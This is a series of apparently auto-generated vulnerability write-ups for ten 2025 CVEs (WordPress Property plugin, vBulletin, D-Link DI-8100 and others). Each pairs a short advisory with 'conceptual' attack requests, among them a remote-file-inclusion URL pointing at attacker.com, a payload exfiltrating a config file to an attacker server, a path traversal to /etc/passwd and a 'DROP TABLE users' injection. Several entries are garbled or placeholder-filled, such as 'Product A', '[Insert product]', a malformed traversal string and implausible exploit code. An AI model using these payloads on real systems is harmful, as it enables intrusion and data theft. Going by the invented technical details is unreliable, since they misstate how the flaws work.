Author: Ameeba

CVE-2025-5117: WordPress Property Plugin Privilege Escalation Vulnerability
Overview

The CVE-2025-5117 vulnerability exposes a fundamental flaw in the security mechanism of WordPress’s Property plugin. It specifically targets versions 1.0.5 to 1.0.6 of the plugin, enabling malicious actors with Author-level access to escalate their privileges to those of an administrator. This vulnerability has the potential to be exploited by attackers to gain unauthorized access to sensitive data or to compromise the system, making it a significant threat to the security of WordPress sites that use the vulnerable versions of the Property plugin.

Vulnerability Summary

CVE ID: CVE-2025-5117
Severity: High – 8.8 (CVSS Score)
Attack Vector: Network
Privileges Required: Low (Author-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress Property Plugin | 1.0.5 to 1.0.6

How the Exploit Works

The vulnerability resides in the lack of a capability check on the use of the property_package_user_role metadata. This oversight allows authenticated attackers with Author-level access to elevate their privileges to that of an administrator by creating a package post and setting the property_package_user_role to administrator. After doing this, they simply have to submit the PayPal registration form to finalize the privilege escalation.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/post-new.php?post_type=property_package HTTP/1.1
Host: vulnerable-wp-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=[user_session_cookie]
post_title=MaliciousPackage&property_package_user_role=administrator&_wpnonce=[valid_wpnonce]
```
This HTTP request creates a new package post with the user role set to “administrator. The attacker would then submit the PayPal registration form to escalate their privileges to an administrator level.

Mitigation Guidance

To mitigate the effects of this vulnerability, users are advised to apply the vendor patch for the WordPress Property plugin as soon as possible. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection against potential exploits.
June 2, 2025
CVE-2025-41652: Critical Authentication Bypass Vulnerability in Multiple Devices
Overview

A critical vulnerability, identified as CVE-2025-41652, has been discovered in numerous devices that could potentially lead to system compromise or data leakage. This vulnerability stems from an underlying flaw in the device’s authorization mechanism, which in turn allows an unauthenticated remote attacker to bypass the authentication.
This vulnerability is particularly significant due to its potential impact on multiple devices, which could range from personal computing devices to servers, IoT devices, and other networked systems. Given its severity and widespread potential for exploitation, it is crucial for system administrators, network managers, and individual users to understand the nature of CVE-2025-41652 and take appropriate steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-41652
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.x to 2.x
Product B | Version 3.x to 4.x

How the Exploit Works

An unauthenticated remote attacker can exploit this vulnerability by either performing a brute-force attack to guess valid credentials or by using MD5 collision techniques to forge authentication hashes. The attacker does not require any privileges and there is no need for user interaction.
In particular, the MD5 collision technique involves the attacker creating two different inputs that hash to the same MD5 hash, thus tricking the system into accepting a malicious input. On the other hand, a brute-force attack involves the attacker trying all possible combinations of passwords until they find the correct one.

Conceptual Example Code

Here’s a conceptual example of a brute-force attack, which could be part of an HTTP request to exploit the vulnerability:
```
POST /login HTTP/1.1
Host: vulnerable-device.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=guess1
```
In this example, the attacker attempts to log in with the username ‘admin’ and a guessed password ‘guess1. The attacker would automate this process, changing the ‘password’ field with every request, until a valid credential pair is found.

Mitigation and Recommendations

To protect your system from this vulnerability, the first and most effective line of defense is to apply the vendor’s patch for the affected versions of the affected products. In case the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation strategy. These systems can help detect and block brute-force attacks or suspicious networking behavior that could be indicative of an attacker attempting to exploit this vulnerability.
June 2, 2025
CVE-2025-41651: Critical System Compromise due to Missing Authentication
Overview

CVE-2025-41651 is a severe vulnerability that has the potential to cause catastrophic damage to systems if left unaddressed. This vulnerability arises due to insufficient authentication measures on critical device functions, providing an open window through which an unauthenticated attacker can execute arbitrary commands. These commands could lead to unauthorized upload or download of configuration files, ultimately resulting in a full system compromise. Both private individuals and enterprises alike are at risk, and the magnitude of potential damage makes this vulnerability a significant concern for the cybersecurity industry.

Vulnerability Summary

CVE ID: CVE-2025-41651
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise, potential data leakage

Affected Products

Product | Affected Versions

Device A | Version 1.0 – 2.1
Device B | Version 3.0 – 4.2

How the Exploit Works

The exploit hinges on the missing authentication of a critical function in the affected devices. An attacker can execute arbitrary commands remotely, without requiring any authentication, thus bypassing the device’s security controls. These commands may allow the attacker to upload or download configuration files, potentially leading to unauthorized control over the affected systems. The exploit’s severity stems from the lack of required user interaction or privileges, allowing even unskilled attackers to potentially compromise the system.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request that could be used to send a malicious payload to a vulnerable endpoint:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "execute: {cmd: 'download', target: 'config_file', destination: 'attacker_controlled_server'}" }
```
In this case, the attacker is instructing the system to execute a command that downloads the configuration file and sends it to an attacker-controlled server. This is just one example of the kinds of commands that an attacker could potentially execute.
In conclusion, CVE-2025-41651 is a critical vulnerability due to its potential for system compromise and data leakage. It is strongly recommended for users to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation strategies.
June 2, 2025
CVE-2025-39458: Critical PHP Remote File Inclusion Vulnerability in Mikado-Themes Foton
Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities continue to emerge that leave systems and data at risk. As such is the case with the recently discovered vulnerability CVE-2025-39458. This critical flaw is present in the Mikado-Themes Foton, popular among web developers for creating visually appealing and functional websites.
This vulnerability, known as PHP Remote File Inclusion, allows an attacker to include a remote PHP file from a server of their choosing, thus exploiting the improper control of filename for include/require statement in PHP Program present in Mikado-Themes Foton. This can lead to potential system compromise or data leakage, thus making it a serious concern for developers and organizations using these themes.

Vulnerability Summary

CVE ID: CVE-2025-39458
Severity: Critical, CVSS Score: 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Mikado-Themes Foton | up to and including 2.5.2

How the Exploit Works

In PHP, the include() and require() statements are used to insert useful codes written in other files, in the flow of execution. This vulnerability exploits the improper control of filename for these statements, allowing an attacker to manipulate the input and include a remote PHP file from a server of their choosing. This could potentially allow an attacker to inject malicious code or scripts, leading to further exploits such as data leakage or total system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using an HTTP request to a vulnerable endpoint:
```
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
```
In the above example, the attacker is requesting a page from the target’s website, but manipulating the ‘file‘ parameter to include a PHP file hosted on their own server. The malicious PHP file could contain code designed to compromise the system or exfiltrate sensitive data.

Recommendations

Users are strongly advised to update their Mikado-Themes Foton to the latest version to mitigate this vulnerability. In case a patch is not immediately available, or updating is not an option, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
Remember, in the realm of cybersecurity, staying updated is not just about having the latest features, but also about ensuring the security of your systems and data.
June 2, 2025
CVE-2025-27010: Path Traversal Vulnerability in bslthemes Tastyc Leading to PHP Local File Inclusion
Overview

CVE-2025-27010 refers to a high-risk vulnerability found in the bslthemes Tastyc software, specifically a path traversal issue leading to PHP Local File Inclusion. This vulnerability can allow an attacker to read any file on the system that the web service has access to, potentially leading to unauthorized access and data leakage.
The affected software, Tastyc, is a popular choice for content management and design, providing an attractive target for potential attackers. Any organization or individual using Tastyc versions before 2.5.2 is at risk and should take immediate action to mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-27010
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

bslthemes Tastyc | Before 2.5.2

How the Exploit Works

The exploit works by taking advantage of the path traversal vulnerability in Tastyc. An attacker can manipulate file path inputs to navigate beyond the intended directory structure, potentially accessing sensitive files or data. By appending a ‘…/…//’ pattern to a file path, the attacker can access directories that should be inaccessible, and include PHP local files leading to unauthorized data access or even code execution.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a simple HTTP request:
```
GET /file.php?file=.../...//etc/passwd HTTP/1.1
Host: target.example.com
```
In the above example, the attacker is attempting to access a system’s password file, which could provide information useful in furthering an attack or gaining unauthorized access.

Mitigation

The vulnerability has been fixed in Tastyc version 2.5.2, and it is highly recommended that users update to this version as soon as possible. If immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activity. Additionally, the practice of least privilege should be applied to restrict the web service’s access to files and directories.
June 2, 2025
CVE-2025-41654: SNMP Protocol Vulnerability Enables Unauthenticated Remote Access
Overview

CVE-2025-41654 is a critical cybersecurity vulnerability that jeopardizes system integrity and data confidentiality. It allows an unauthenticated remote attacker to access information about the running processes via the Simple Network Management Protocol (SNMP). This vulnerability is particularly concerning due to the SNMP’s ubiquity in managing network-connected devices, making a wide range of products potentially susceptible. If successfully exploited, this vulnerability could lead to system compromise or data leakage, posing a significant threat to organizations’ cybersecurity posture.

Vulnerability Summary

CVE ID: CVE-2025-41654
Severity: High (8.2 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]
(Note: Please refer to vendor advisories for specific product and version information.)

How the Exploit Works

The exploit occurs when an unauthenticated remote attacker sends a request via the SNMP protocol to access information about running processes. Due to inadequate security measures, the server responds with the requested data. The volume of returned data can be substantial enough to activate the system’s watchdog, triggering a system reboot. During the reboot, the attacker can exploit the transient period of system instability to execute malicious activities, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of a malicious SNMP request that could exploit this vulnerability:
```
snmpwalk -v2c -c public target.example.com 1.3.6.1.2.1.25.1.6.0
```
In this example, `snmpwalk` is a command-line tool used to browse SNMP objects. `-v2c` specifies the SNMP version to use, `-c public` identifies the community string, and `target.example.com` is the target system’s hostname or IP address. The string `1.3.6.1.2.1.25.1.6.0` is the Object Identifier (OID) representing the running processes in the SNMP MIB hierarchy.
Please note that this is a conceptual example that demonstrates the attack vector. Actual exploit code may differ significantly and may involve additional steps or more sophisticated techniques.

Mitigation

Until vendors release patches for their affected products, organizations can utilize Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as temporary mitigations. These technologies can identify and block malicious SNMP requests, preventing the vulnerability from being exploited.
Once available, it is crucial to apply vendor-provided patches promptly. Regular patch management is a cornerstone of cybersecurity best practices and can significantly reduce the risk of successful cyberattacks.
June 2, 2025
CVE-2025-46458: Critical Cross-Site Request Forgery (CSRF) Vulnerability Leading to SQL Injection in Occupancyplan
Overview

The cybersecurity landscape is an ever-evolving battlefield. Every day, new vulnerabilities are discovered, and old ones are exploited in novel ways. Today, we delve into a particularly critical vulnerability, CVE-2025-46458, which affects occupancyplan, a tool utilized by numerous organizations for space planning and management. This CSRF vulnerability can lead to SQL Injection, posing a serious threat to the security of systems and confidential data. Given the severity of this issue, it is essential for stakeholders to understand its implications and act swiftly to mitigate the potential damage.

Vulnerability Summary

CVE ID: CVE-2025-46458
Severity: Critical (CVSS: 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Occupancyplan | n/a – 1.0.3.0

How the Exploit Works

At its core, the vulnerability allows an attacker to trick a user into executing a malicious request in the context of their session. This is primarily achieved by embedding a crafted link or script in a page that the user visits. When the user interacts with the malicious content, a request is sent to the vulnerable site – unbeknownst to the user – leading to an SQL Injection. With this access, the attacker can potentially execute commands on the database, modify data, or even extract sensitive information, leading to a system compromise or data leakage.

Conceptual Example Code

Consider the following conceptual example of how a malicious HTTP request exploiting this vulnerability might look:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "'; DROP TABLE users; --" }
```
In this scenario, the attacker attempts to delete the users table. If successful, the database would lose all stored user information, potentially causing significant disruption and data loss.

Mitigation Guidance

It’s crucial to act swiftly in response to this vulnerability. The recommended mitigation strategy is to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation, helping to prevent exploitation of this vulnerability by detecting and blocking suspicious activities or anomalies.
Continuous vigilance, timely updates, and stringent security protocols are the best defense against such vulnerabilities. By taking immediate action on this issue, organizations can protect their systems and data from potential compromise.
June 2, 2025
CVE-2025-39536: Authorization Vulnerability in Chimpstudio JobHunt Job Alerts
Overview

The recently discovered vulnerability named CVE-2025-39536 is a critical cybersecurity concern affecting the Chimpstudio JobHunt Job Alerts software. This vulnerability stems from a missing authorization issue that allows malicious actors to exploit incorrectly configured access control security levels. This can lead to potential system compromise or significant data leakage. Given that JobHunt is a widely used platform for job alerts, this vulnerability could potentially impact a large number of users, employers, and businesses. It underscores the importance of robust cybersecurity measures in protecting sensitive data and maintaining system integrity.

Vulnerability Summary

CVE ID: CVE-2025-39536
Severity: High (8.2 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Chimpstudio JobHunt Job Alerts | n/a through 3.6

How the Exploit Works

The CVE-2025-39536 vulnerability is due to missing authorization checks in the Chimpstudio JobHunt Job Alerts software. This missing authorization can allow an unauthenticated attacker to bypass access control security levels and perform actions that would otherwise require authentication. These actions could include viewing, modifying, or deleting sensitive data or even executing arbitrary commands with system-level privileges.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /jobhunt/alerts HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"action": "delete",
"target": "all"
}
```
In this example, an attacker sends a POST request to the job alerts endpoint. The “action” field is set to “delete”, and the “target” field is set to “all”, indicating that all job alerts are to be deleted. Because of the missing authorization check, this request could potentially be processed without any authentication, leading to a loss of data.
June 2, 2025
CVE-2025-5228: Critical Buffer Overflow Vulnerability in D-Link DI-8100
Overview

CVE-2025-5228 is a serious security vulnerability discovered in the D-Link DI-8100 up to version 20250523. The vulnerability is found in the function httpd_get_parm of the file /login.cgi, a component of jhttpd, and can lead to a critical stack-based buffer overflow. It is important to address this security flaw immediately as it has been disclosed to the public, increasing the risk of exploitation. Furthermore, the impact of a successful exploit can lead to system compromise or data leakage. Although the attack can only be initiated within the local network, it remains a significant threat to any business or individual using the affected D-Link product.

Vulnerability Summary

CVE ID: CVE-2025-5228
Severity: Critical – 8.8 CVSS
Attack Vector: Local network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DI-8100 | up to 20250523

How the Exploit Works

The vulnerability stems from the improper handling of the ‘notify’ argument in the httpd_get_parm function of the file /login.cgi. This component, part of jhttpd, can be manipulated in a way that causes a stack-based buffer overflow. This overflow can lead to arbitrary code execution, potentially allowing an attacker to take control of the system or access sensitive data.

Conceptual Example Code

The following conceptual example demonstrates how an attacker could exploit this vulnerability. This is a theoretical HTTP request that might be used to trigger the buffer overflow:
```
POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
notify=%s
```
In this example, `%s` represents an excessively long string designed to overflow the buffer. Note that this is a simplified example and actual exploitation may require more complex payloads.

Mitigation Guidance

Users of the affected D-Link products are urged to apply the vendor-provided patch as soon as possible to mitigate this vulnerability. In case the patch cannot be immediately applied, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, although these are not foolproof solutions. It is vital to stay informed of updates from the vendor and apply patches promptly to ensure the highest level of protection for your systems.
June 2, 2025
CVE-2025-48828: Arbitrary PHP Code Execution in vBulletin Via Template Conditionals
Overview

The world of cybersecurity is no stranger to vulnerabilities, and one that has recently come to light is the CVE-2025-48828. This vulnerability has been identified in certain versions of vBulletin, a popular forum software used by many websites. The vulnerability is particularly dangerous as it allows attackers to execute arbitrary PHP code, potentially compromising systems or leaking sensitive data. This is extremely concerning for organizations that use vBulletin, as an attack could result in significant damage to their reputation and financial standing.

Vulnerability Summary

CVE ID: CVE-2025-48828
Severity: Critical (9.0 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

vBulletin | Unspecified versions affected

How the Exploit Works

The exploitation of this vulnerability revolves around the abuse of Template Conditionals in vBulletin’s template engine. Attackers can craft template code in an alternative PHP function invocation syntax, such as the “var_dump”(“test”) syntax. This allows them to bypass the security checks ordinarily in place and execute arbitrary PHP code. The vulnerability was reportedly exploited in the wild in May 2025, indicating that it is not simply theoretical but has real-world implications.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. Remember that this is a simplified example for illustrative purposes and not a real-world exploit code.
```
$template = $vbulletin->template;
$template->conditionals['test'] = "var_dump\"(system('ls'))\"";
$template->render();
```
In this example, an attacker alters the ‘test’ conditional to use the “var_dump” function to invoke the ‘system’ function with the ‘ls’ command as argument. When the template is rendered, it executes the ‘ls’ command, demonstrating arbitrary code execution.

Mitigation Guidance

To protect your systems from this vulnerability, the best course of action is to apply a patch from the vendor as soon as it becomes available. If a patch is not yet available, or if you are unable to apply it immediately, you can turn to temporary mitigation measures such as implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These can help detect and block attempts to exploit this vulnerability, providing an extra layer of security while you work on a more permanent solution.
June 2, 2025